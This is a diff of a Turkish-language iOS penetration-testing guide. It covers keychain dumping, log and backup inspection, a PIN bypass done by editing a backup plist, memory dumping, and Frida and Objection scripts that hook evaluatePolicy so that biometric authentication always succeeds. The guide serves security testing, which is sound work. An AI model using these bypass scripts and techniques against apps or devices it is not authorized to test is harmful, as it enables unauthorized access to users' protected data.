[**Objection**](https://github.com/sensepost/objection) benzer amaçlar için `ios keychain dump` komutunu sağlar. +iOS anahtarlığına erişmek ve yönetmek için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar. #### **Kimlik Bilgilerini Saklama** @@ -612,11 +612,11 @@ iOS 8.0'dan itibaren kullanıcılar, **Ayarlar > Genel > Klavye > Klavyeler** al * Güvenliği artırmak için üçüncü taraf klavyelerin devre dışı bırakılması önerilir. * `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda bulunan önbellek dosyalarında hassas bilgileri saklayabilecek varsayılan iOS klavyesinin otomatik düzeltme ve otomatik öneriler özelliklerine dikkat edilmelidir. Bu önbellek dosyaları düzenli olarak hassas veriler açısından kontrol edilmelidir. Önbellek verilerini temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** üzerinden klavye sözlüğünün sıfırlanması önerilir. -* Ağ trafiğinin dinlenmesi, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletemediğini ortaya çıkarabilir. +* Ağ trafiğinin dinlenmesi, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletip etmediğini ortaya çıkarabilir. ### **Metin Alanı Önbelleğini Önleme** -[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişini yönetmek için özellikler sunar ve hassas bilgi önbelleğini önlemek için esastır. Örneğin, otomatik düzeltmeyi devre dışı bırakma ve güvenli metin girişini etkinleştirme şu şekilde gerçekleştirilebilir: +[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişini yönetmek için gerekli olan özellikler sunar. Örneğin, otomatik düzeltmeyi devre dışı bırakma ve güvenli metin girişini etkinleştirme şu şekilde gerçekleştirilebilir: ```objectivec textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.secureTextEntry = YES; @@ -628,9 +628,9 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo; ``` ## **Kayıtlar** -Hata ayıklama kodu genellikle **günlükleme** kullanımını içerir. **Kayıtlar hassas bilgiler içerebileceğinden risk taşır**. Daha önce, iOS 6 ve daha eski sürümlerde, kayıtlar tüm uygulamalara erişilebilirdi, bu da hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi kayıtlarına erişebilirler**. +Hata ayıklama kodu genellikle **günlüğü kullanmayı** gerektirir. **Kayıtlar hassas bilgiler içerebileceğinden risk içerir**. Daha önce, iOS 6 ve daha eski sürümlerde, günlüklere tüm uygulamalar erişebiliyordu, bu da hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi günlüklerine erişebilirler**. -Bu kısıtlamalara rağmen, kilidini açmış bir cihaza **fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak bunu hala sömürebilir ve **kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kaydedildiğini unutmamak önemlidir. +Bu kısıtlamalara rağmen, **kilitli bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak bunu hala sömürebilir ve **kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kaydedildiğini unutmamak önemlidir. Riskleri azaltmak için, uygulama ile **detaylı etkileşimde bulunmak**, tüm işlevlerini ve girdilerini keşfetmek ve yanlışlıkla hassas bilgilerin kaydedilmediğinden emin olmak önerilir. @@ -647,44 +647,44 @@ Ayrıca, **Xcode** konsol log'larını toplamanın bir yolunu sağlar: 1. Xcode'u açın. 2. iOS cihazını bağlayın. -3. **Window** -> **Devices and Simulators**'a gidin. +3. **Window** -> **Devices and Simulators**'e gidin. 4. Cihazınızı seçin. 5. Araştırdığınız sorunu tetikleyin. 6. Logları yeni bir pencerede görüntülemek için **Open Console** düğmesini kullanın. -Daha gelişmiş loglama için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı log izleme sağlamak mümkündür: +Daha gelişmiş günlükleme için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı log izleme sağlamak mümkündür: ```bash iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ``` -Log etkinliklerini gözlemlemek için izlenecek komutlar, sorunları teşhis etmek veya günlüklerde potansiyel veri sızıntısını belirlemek için değerli olabilir. +Log aktivitelerini gözlemlemek için kullanılan komutlar, sorunları teşhis etmek veya günlüklerde potansiyel veri sızıntılarını belirlemek için son derece değerli olabilir. ***
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturmak ve otomatikleştirmek kolaydır.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} ## Yedeklemeler -**Otomatik yedekleme özellikleri**, iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz veri kopyalarının oluşturulmasını kolaylaştıran iOS'e entegre edilmiştir. Bu yedeklemeler, Apple Pay ayrıntıları ve Touch ID yapılandırmaları gibi son derece hassas unsurlar dışında neredeyse tüm cihaz verilerini kapsar. +iOS'e entegre edilmiş **otomatik yedekleme özellikleri**, iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz veri kopyalarının oluşturulmasını kolaylaştırır. Bu yedeklemeler neredeyse tüm cihaz verilerini kapsar, Apple Pay ayrıntıları ve Touch ID yapılandırmaları gibi son derece hassas unsurları hariç tutar. ### Güvenlik Riskleri -Yedeklemelerde **kurulu uygulamalar ve verilerinin** bulunması, potansiyel **veri sızıntısı** sorununu ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirebileceği riskini** ortaya çıkarır. Bu riskleri azaltmak için **duyarlı bilgilerin düz metin olarak saklanmaması** önerilir. +Yedeklemelerde **kurulu uygulamalar ve verilerinin** bulunması, potansiyel **veri sızıntısı** sorununu ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirebileceği riskini** ortaya çıkarır. Bu riskleri azaltmak için **duyarlı bilgileri düz metin olarak saklamamak** önerilir. ### Yedeklemelerden Dosyaları Hariç Tutma -`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilir. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini önlemek için hayati önem taşır. +`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, belirli dosyaları veya dizinleri yedeklemelerden hariç tutmak için `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanabilir. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini engellemek için önemlidir. ### Zafiyetlerin Test Edilmesi -Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturun, ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeği bulun. Yedeği, uygulama davranışını etkileyebilecek hassas verileri veya yapılandırmaları değiştirebilecek unsurları analiz edin. +Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturun ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeği bulun. Yedeği, uygulama davranışını etkileyebilecek hassas veriler veya yapılandırmalar açısından analiz edin. -Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifrelenmiş yedeklemeler için, şifrelemenin varlığı, yedeğin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir. +Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir. ```xml @@ -699,19 +699,19 @@ Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) g ``` ### Şifreli Yedeklemelerle Başa Çıkma -[DinoSec'in GitHub deposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts) bulunan Python betikleri, **backup\_tool.py** ve **backup\_passwd.py** gibi, en son iTunes/Finder sürümleriyle uyumluluk için ayarlamalar gerektirebilecek olsa da, kullanışlı olabilir. Şifre korumalı yedeklemelerdeki dosyalara erişim için başka bir seçenek ise [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/)dir. +[DinoSec'in GitHub deposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts) bulunan **backup\_tool.py** ve **backup\_passwd.py** gibi Python betikleri, şifreli yedeklemelerle başa çıkmak için kullanışlı olabilir, ancak muhtemelen en son iTunes/Finder sürümleriyle uyumluluğu sağlamak için ayarlamalar gerekebilir. Şifre korumalı yedeklemelerdeki dosyalara erişim için başka bir seçenek olan [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) bulunmaktadır. ### Uygulama Davranışını Değiştirme -Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir, burada UI kilidi PIN'inin **pin\_code** anahtarı altında `net.bither.plist` içinde saklandığı. Bu anahtarı plist'ten kaldırarak ve yedeği geri yükleyerek PIN gereksinimini kaldırarak sınırsız erişim sağlanabilir. +Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir, burada UI kilidi PIN'inin **pin\_code** anahtarı altında `net.bither.plist` içinde depolandığı. Bu anahtarı plist dosyasından kaldırarak ve yedeği geri yükleyerek PIN gereksinimini kaldırarak sınırsız erişim sağlanabilir. ## Hassas Veriler İçin Bellek Testi Özeti -Bir uygulamanın belleğinde saklanan hassas bilgilerle uğraşırken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini araştırmak için iki temel yaklaşım vardır: **bir bellek dökümü oluşturma** ve **belleği gerçek zamanlı olarak analiz etme**. Her iki yöntemin de, döküm süreci veya analiz sırasında kritik verileri kaçırma potansiyeli gibi zorlukları vardır. +Bir uygulamanın belleğinde depolanan hassas bilgilerle uğraşırken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini incelemek için iki temel yaklaşım vardır: **bir bellek dökümü oluşturma** ve **belleği gerçek zamanlı olarak analiz etme**. Her iki yöntemin de, döküm süreci veya analiz sırasında önemli verileri kaçırma potansiyeli gibi zorlukları vardır. -## **Bir Bellek Dökümü Alıp Analiz Etme** +## **Bir Bellek Dökümünü Alıp Analiz Etme** -Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın işlem belleğini dökme imkanı sağlar. Bir kez döküldüğünde, bu verilerin analizi, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir. +Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın işlem belleğini dökme imkanı sağlar. Bir kez döküldüğünde, bu verileri analiz etmek, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir. Bir bellek dökümünden dizeleri çıkarmak için `strings` veya `rabin2 -zz` gibi komutlar kullanılabilir: ```bash @@ -721,7 +721,7 @@ $ strings memory > strings.txt # Extracting strings using rabin2 $ rabin2 -ZZ memory > strings.txt ``` -Daha detaylı bir analiz için, belirli veri tiplerini veya desenleri aramak için **radare2**, kapsamlı arama yetenekleri sunar: +Daha detaylı bir analiz için, belirli veri tipleri veya desenler aramak için **radare2**, kapsamlı arama yetenekleri sunar: ```bash $ r2 [0x00000000]> /? @@ -738,51 +738,51 @@ $ r2 frida://usb// ### Zayıf Anahtar Yönetimi Süreçleri -Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kodda sabit/tahmin edilebilir bir anahtarla şifreler. Bu yapılmamalı çünkü bazı tersine mühendislik saldırıları saldırganların gizli bilgileri çıkarmasına izin verebilir. +Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kodda sabit/tahmin edilebilir bir anahtarla şifreler. Bu yapılmamalı çünkü bazı tersine mühendislik saldırıları, saldırganların gizli bilgileri çıkarmasına izin verebilir. ### Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı -Geliştiriciler **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** işlemleri için. Bu algoritmaların bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash** kullanılıyorsa, hashlerin tuz ile birlikte kullanıldığı kaba kuvvet saldırılarına **dayanıklı** olmalıdır. +Geliştiriciler **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** işlemleri için. Bu algoritmaların bazıları şunlardır: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash** kullanılıyorsa, hashlerin tuz ile birlikte kullanıldığı brute-force **dayanıklı** olmalıdır. ### Kontrol -Yapılması gereken ana kontroller, kod içinde **sabitlenmiş** şifreler/sırlar bulunup bulunmadığını, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı tür zayıf **şifreleme** algoritmalarını kullanıp kullanmadığını bulmaktır. +Yapılması gereken ana kontroller, kod içinde **sabitlenmiş** şifreler/sırlar bulunup bulunamayacağını, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı türde **zayıf** **şifreleme** algoritmalarını kullanıp kullanmadığını bulmaktır. -Bazı **şifreleme** **kütüphanelerini** otomatik olarak **objection** kullanarak izleyebileceğinizi bilmek ilginçtir: +İlginçtir ki, **objection** kullanarak bazı **şifreleme** **kütüphanelerini** otomatik olarak izleyebilirsiniz: ```swift ios monitor crypt ``` -**Daha fazla bilgi** için iOS şifreleme API'ları ve kütüphaneleri hakkında [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)'e erişin +iOS şifreleme API'ları ve kütüphaneleri hakkında **daha fazla bilgi** için [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)'e erişin ## Yerel Kimlik Doğrulama **Yerel kimlik doğrulama**, özellikle uzaktaki bir uç noktaya şifreleme yöntemleri aracılığıyla erişimi koruma konusunda önemli bir rol oynar. Buradaki esas nokta, uygun şekilde uygulanmadığında yerel kimlik doğrulama mekanizmalarının atlatılabilir olabileceğidir. -Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtarlık**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve sırasıyla gizli verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Kasa, Parmak İzi Kimliği için parmak izi kimliğini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma üzerine dayanır. +Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtarlık**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve sırlı verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Kasa, Parmak İzi Kimliği için parmak izi kimliğini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma üzerine kuruludur. Touch ID/Face ID'yi entegre etmek için geliştiricilerin iki API seçeneği vardır: -* Yüksek seviyeli kullanıcı kimlik doğrulaması için **`LocalAuthentication.framework`** biyometrik verilere erişim olmadan. -* Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulaması ile gizli verileri güvence altına alır. Çeşitli [açık kaynaklı sarmallar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir. +* Yüksek seviyeli kullanıcı kimlik doğrulama için **`LocalAuthentication.framework`**. +* Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulaması ile sırlı verileri güvence altına alır. Çeşitli [açık kaynaklı sarmallar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir. {% hint style="danger" %} -Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` güvenlik açıkları sunar, çünkü genellikle kimlik doğrulama süreçleri için veri iletmeksizin öncelikle boolean değerler döndürürler, bu da atlanabilir olmalarına neden olur (bkz. [Don't touch me that way, David Lindner ve diğerleri](https://www.youtube.com/watch?v=XhXIHVGCFFM)). +Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` güvenlik açıkları sunar, çünkü genellikle kimlik doğrulama süreçleri için veri iletmeksizin öncelikle boolean değerler döndürürler, bu da atlanabilirliklerine duyarlı hale getirir (bkz. [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). {% endhint %} ### Yerel Kimlik Doğrulaması Uygulamak -Kullanıcıları kimlik doğrulaması için yönlendirmek için g geliştiricilerin **`LAContext`** sınıfı içindeki **`evaluatePolicy`** yöntemini kullanmaları gerekmektedir, aşağıdakiler arasından seçim yaparak: +Kullanıcıları kimlik doğrulaması için yönlendirmek için geliştiricilerin **`LAContext`** sınıfı içindeki **`evaluatePolicy`** yöntemini kullanmaları gerekmektedir, şu seçenekler arasından seçim yapabilirler: -* **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi için yönlendirme yapar, ikisi de etkin değilse başarısız olur. -* **`deviceOwnerAuthenticationWithBiometrics`**: Yalnızca Touch ID için yönlendirme yapar. +* **`deviceOwnerAuthentication`**: Parmak İzi veya cihaz şifresi için yönlendirme yapar, ikisi de etkin değilse başarısız olur. +* **`deviceOwnerAuthenticationWithBiometrics`**: Yalnızca Parmak İzi için yönlendirme yapar. Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen boolean bir değerle gösterilir, bu da potansiyel bir güvenlik açığına işaret eder. ### Anahtarlık Kullanarak Yerel Kimlik Doğrulaması -iOS uygulamalarında **yerel kimlik doğrulaması** uygulamak, kimlik doğrulama belgeleri gibi gizli verileri güvenli bir şekilde saklamak için **anahtarlık API'lerinin** kullanımını içerir. Bu süreç, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulaması kullanılarak erişilebileceğini sağlar. +iOS uygulamalarında **yerel kimlik doğrulaması** uygulamak, kimlik doğrulama belgeleri gibi sırlı verileri güvenli bir şekilde saklamak için **anahtarlık API'lerinin** kullanımını içerir. Bu süreç, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Parmak İzi gibi biyometrik kimlik doğrulama kullanılarak erişilebileceğini sağlar. -Anahtarlık, `SecAccessControl` özniteliği ile öğeleri ayarlamak için yetenek sunar, bu da kullanıcının Touch ID veya cihaz şifresi aracılığıyla başarılı bir şekilde kimlik doğrulamasını yapana kadar öğeye erişimi kısıtlar. Bu özellik güvenliği artırmak için önemlidir. +Anahtarlık, `SecAccessControl` özniteliği ile öğeleri ayarlamak için yetenek sunar, bu da öğeye yalnızca kullanıcının Parmak İzi veya cihaz şifresi ile başarılı bir şekilde kimlik doğrulamasını yapana kadar erişimi kısıtlar. Bu özellik güvenliği artırmak için önemlidir. Aşağıda, Swift ve Objective-C'de bir dizeyi anahtarlığa kaydetme ve geri almayı gösteren kod örnekleri bulunmaktadır, bu güvenlik özelliklerini kullanarak erişim kontrolünü ayarlamayı ve verinin yalnızca ayarlandığı cihazda, bir cihaz şifresinin yapılandırıldığı koşul altında erişilebilir olmasını sağlamayı özellikle göstermektedir. @@ -826,9 +826,11 @@ if status == noErr { ``` {% endtab %} -{% tab title="Objective-C" %}Objective-C için Pentesting +{% tab title="Objective-C" %} -Objective-C, iOS uygulamaları geliştirmek için kullanılan eski bir programlama dilidir. Pentesting sırasında Objective-C kodunu anlamak ve analiz etmek önemlidir çünkü uygulamanın güvenlik zafiyetlerini tespit etmede yardımcı olabilir. Bu dilde yazılmış uygulamalar genellikle hassas verileri işlediğinden, güvenlik testlerinde Objective-C kodunu incelemek kritik bir adımdır. {% endtab %} +iOS uygulamalarını incelemek için Objective-C kodunu anlamak önemlidir. Objective-C, iOS uygulamalarının geliştirilmesinde yaygın olarak kullanılan bir programlama dilidir. Uygulamanın davranışını anlamak ve güvenlik açıklarını tespit etmek için Objective-C kodunu okuyabilme yeteneği önemlidir. + +{% endtab %} ```objectivec // 1. create AccessControl object that will represent authentication settings CFErrorRef *err = nil; @@ -859,10 +861,7 @@ if (status == noErr) { {% endtab %} {% endtabs %} -Şimdi anahtarlıkta saklanan öğeyi isteyebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama iletişim kutusunu sunacak ve uygun bir parmak izi sağlandıysa veri veya nil döndürecektir. - -{% tabs %} -{% tab title="Swift" %} +Artık anahtarlıkta kayıtlı öğeyi isteyebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama iletişim kutusunu sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veri veya nil değerini döndürecektir. ```swift // 1. define query var query = [String: Any]() @@ -891,17 +890,13 @@ let password = String(data: queryResult as! Data, encoding: .utf8)! ### Objective-C -Objective-C, Apple'ın geliştirdiği bir programlama dilidir ve iOS uygulamaları geliştirmek için kullanılır. Objective-C, C programlama diline ek olarak nesne yönelimli programlama özelliklerini de içerir. iOS uygulamalarını analiz ederken Objective-C kodunu anlamak önemlidir çünkü uygulamanın davranışını ve güvenlik zafiyetlerini tespit etmek için gereklidir. +Objective-C, Apple'ın geliştirdiği bir programlama dilidir ve iOS uygulamaları geliştirmek için kullanılmaktadır. Objective-C ile yazılmış uygulamalar, genellikle .m uzantılı dosyalarda bulunur. -Objective-C kodunu analiz etmek için statik analiz araçları ve dinamik analiz araçları kullanılabilir. Statik analiz araçları, uygulama kodunu inceleyerek potansiyel güvenlik zafiyetlerini tespit etmeye yardımcı olurken, dinamik analiz araçları uygulamanın çalışma zamanındaki davranışını inceleyerek güvenlik açıklarını tespit etmeye yardımcı olur. +Objective-C kodlarını incelemek ve anlamak için uygulamanın .ipa dosyasını açabilir ve içindeki .m dosyalarını analiz edebilirsiniz. Bu dosyalarda uygulamanın işlevselliği ve güvenlik açıkları hakkında bilgi bulabilirsiniz. -Objective-C kodunu analiz ederken dikkat edilmesi gereken bazı önemli konular şunlardır: +Objective-C kodlarını analiz etmek için Hopper Disassembler gibi araçlar kullanabilirsiniz. Bu araçlar sayesinde uygulamanın kaynak kodunu daha iyi anlayabilir ve güvenlik testleri yapabilirsiniz. -- Kötü niyetli uygulamaların tespiti -- Hassas verilerin güvenliği -- Güvenlik zafiyetlerinin tespiti ve giderilmesi - -Objective-C kodunu analiz ederken bu konular göz önünde bulundurulmalı ve uygulamanın güvenliği için gerekli önlemler alınmalıdır. +Objective-C ile yazılmış uygulamalarda sıkça karşılaşılan güvenlik zafiyetleri arasında bellek sızıntıları, kötü niyetli yazılım enjeksiyonu ve veri doğrulama hataları bulunmaktadır. Bu tür zafiyetlerin tespit edilip giderilmesi önemlidir. {% endtab %} ```objectivec @@ -926,7 +921,7 @@ NSLog(@"Something went wrong"); ``` ### Tespit -Uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek de tespit edilebilir. Bunun için `otool` kullanılabilir: +Uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz edilerek de tespit edilebilir. Bunun için `otool` kullanılabilir: ```bash $ otool -L .app/ ``` @@ -941,7 +936,7 @@ Eğer `Security.framework` kullanılıyorsa, sadece ikinci olan gösterilecektir #### **Objection** -**Objection Biyometrik Atlatma** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik, **LocalAuthentication** mekanizmasını aşmak için mevcuttur. Bu yaklaşımın özü, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'yı kullanmaktır, böylece gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu vermesini sağlar. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için özellikle yararlıdır. +**Objection Biyometrik Atlatma** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik, **LocalAuthentication** mekanizmasını aşmak için kullanılabilir. Bu yaklaşımın özü, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'yı kullanmaktır, böylece gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` bir sonuç vermesini sağlar. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için özellikle yararlıdır. Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır: ```bash @@ -952,7 +947,7 @@ Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır: (agent) [3mhtws9x47q] Marking OS response as True instead (agent) [3mhtws9x47q] Biometrics bypass hook complete ``` -Bu komut, Objection'ın bir görev kaydettiği bir sıra başlatır; bu görev, `evaluatePolicy` kontrolünün sonucunu etkili bir şekilde `True` olarak değiştirir. +Bu komut, Objection'ın bir görev kaydettiği bir sırayı başlatır ve `evaluatePolicy` kontrolünün sonucunu etkili bir şekilde `True` olarak değiştirir. #### Frida @@ -984,7 +979,7 @@ dispatch_async(dispatch_get_main_queue(), ^{ } } ``` -**Yerel Kimlik Doğrulaması**nın **atlatılması** için bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alarak, geri aramasını onaylamak için onu engeller ve **success=1** döndüğünden emin olur. Geri aramanın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılır. +**Yerel Kimlik Doğrulaması**nın **atlatılması** için bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alarak, geri aramasını onaylamak için onu engeller ve **success=1** değerini döndürmesini sağlar. Geri aramanın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılmış olur. Aşağıdaki betik, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri aramanın sonucunu her zaman başarı olarak gösterir. ```swift @@ -1008,11 +1003,11 @@ return result; console.log("Objective-C Runtime is not available!"); } ``` -Frida betiği enjekte etmek ve biyometrik kimlik doğrulamayı atlamak için aşağıdaki komut kullanılır: +Frida betiği enjekte etmek ve biyometrik kimlik doğrulamasını atlamak için aşağıdaki komut kullanılır: ```bash frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js ``` -## IPC Aracılığıyla Hassas Fonksiyonelliğin Açığa Çıkarılması +## IPC Aracılığıyla Hassas Fonksiyonelliğin Açığa Çıkması ### Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar @@ -1067,12 +1062,12 @@ Bu tür sorunları kontrol etmek için **Burp** gibi bir proxy kullanabilirsiniz ### Ana Bilgisayar Adı Kontrolü -TLS sertifikasını doğrularken karşılaşılan yaygın bir sorun, sertifikanın **güvenilir bir CA** tarafından imzalandığını kontrol etmek, ancak sertifikanın **erişilen ana bilgisayar adı** olup olmadığını kontrol etmemektir.\ +TLS sertifikasını doğrularken karşılaşılan yaygın bir sorun, sertifikanın bir **güvenilir CA** tarafından imzalandığını kontrol etmek, ancak sertifikanın **erişilen ana bilgisayar adı** olup olmadığını kontrol etmemektir.\ Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, farklı bir ana bilgisayar adı için Burp ile yeni bir sertifika **oluşturabilir ve kullanabilirsiniz**. Uygulama hala çalışıyorsa, bir zafiyet bulunmaktadır. ### Sertifika Pinleme -Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika olduğunda çalışacaktır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü Burp kendi sertifikasını sunacaktır.**\ +Bir uygulama doğru şekilde SSL Pinning kullanıyorsa, uygulama yalnızca beklenen sertifika olduğunda çalışacaktır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü 